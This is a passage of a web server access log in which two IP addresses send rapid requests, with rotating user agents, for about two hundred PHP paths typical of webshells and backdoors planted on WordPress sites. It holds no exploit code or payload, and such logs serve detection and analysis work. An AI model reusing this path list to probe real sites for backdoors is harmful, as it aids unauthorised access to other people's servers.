"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:41 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:41 -0400] "GET /pgs.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:41 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:41 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:41 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:41 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:41 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:43 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:43 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:43 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:18:43 -0400] "GET /wp-content/themes/tflow/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:43 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:44 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:18:44 -0400] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:44 -0400] "GET /wordpress/wp-content/uploads/_input_3_css.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:44 -0400] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:44 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:44 -0400] "GET /ymhrwpmq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:44 -0400] "GET /.well-known/bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:44 -0400] "GET /pegi.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:18:44 -0400] "GET /.qiodeme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.191 - - [23/Apr/2025:03:18:44 -0400] "GET /contents.php/lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:18:44 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:44 -0400] "GET /ad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:44 -0400] "GET /yjsmnati.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:44 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:44 -0400] "GET /wp-includes/images/file1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:44 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:18:45 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:45 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:45 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:45 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:45 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:45 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:45 -0400] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:45 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:45 -0400] "GET /index.php?x=ooo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:45 -0400] "GET /css/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:45 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:18:45 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:45 -0400] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:45 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:45 -0400] "GET /wp-includes/css/dist/wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:45 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:18:45 -0400] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.191 - - [23/Apr/2025:03:18:45 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:45 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:18:45 -0400] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:45 -0400] "GET /components/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:18:45 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:46 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:46 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:46 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:46 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:46 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:46 -0400] "GET /bv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:46 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:46 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:46 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:18:46 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:46 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:46 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:46 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:46 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:46 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:46 -0400] "GET /wp-content/plugins/erin/pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:46 -0400] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:46 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:47 -0400] "GET /network.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:47 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:47 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:47 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:18:47 -0400] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:47 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:47 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:47 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:47 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:47 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:47 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:47 -0400] "GET /wp-content/uploads/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:47 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:47 -0400] "GET /hj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:47 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:47 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:47 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:47 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:18:47 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:18:48 -0400] "GET /wp-admin/css/colors/coffee/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:48 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:48 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:48 -0400] "GET /lp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:48 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:48 -0400] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:48 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:48 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:18:48 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:48 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:48 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:48 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:48 -0400] "GET /yt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:18:48 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:48 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:48 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:48 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:48 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:18:48 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:48 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:49 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:49 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:18:49 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:18:49 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:49 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:49 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:49 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 